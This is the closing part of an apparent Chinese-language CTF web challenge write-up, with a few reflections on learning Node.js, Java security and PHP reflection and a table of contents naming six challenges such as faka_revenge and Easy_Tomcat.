  • nodejs和java都不太熟,先学nodejs再学java安全java安全感觉挺难的
  • php原生反射机制也要学习
  • 黑页那题涨见识了
CATALOG
  1. 1. web
    1. 1.1. littletrick
      1. 1.1.1. 考点
      2. 1.1.2. 代码
    2. 1.2. 梦里花开牡丹亭
      1. 1.2.1. 题目描述
      2. 1.2.2. 考点
      3. 1.2.3. 源码
      4. 1.2.4. 详解
    3. 1.3. faka_revenge
      1. 1.3.1. 考点
      2. 1.3.2. 题目描述
      3. 1.3.3. 源码
      4. 1.3.4. 详解
        1. 1.3.4.1. 网鼎杯解法
        2. 1.3.4.2. nepctf解法
        3. 1.3.4.3. 官方wp
    4. 1.4. bbxhh_revenge
      1. 1.4.1. 考点
      2. 1.4.2. 题目描述
      3. 1.4.3. 详解
    5. 1.5. gamejs
      1. 1.5.1. 题目描述
      2. 1.5.2. 考点
      3. 1.5.3. 详解
    6. 1.6. Easy_Tomcat
      1. 1.6.1. 考点
      2. 1.6.2. 详解
  2. 2. 总结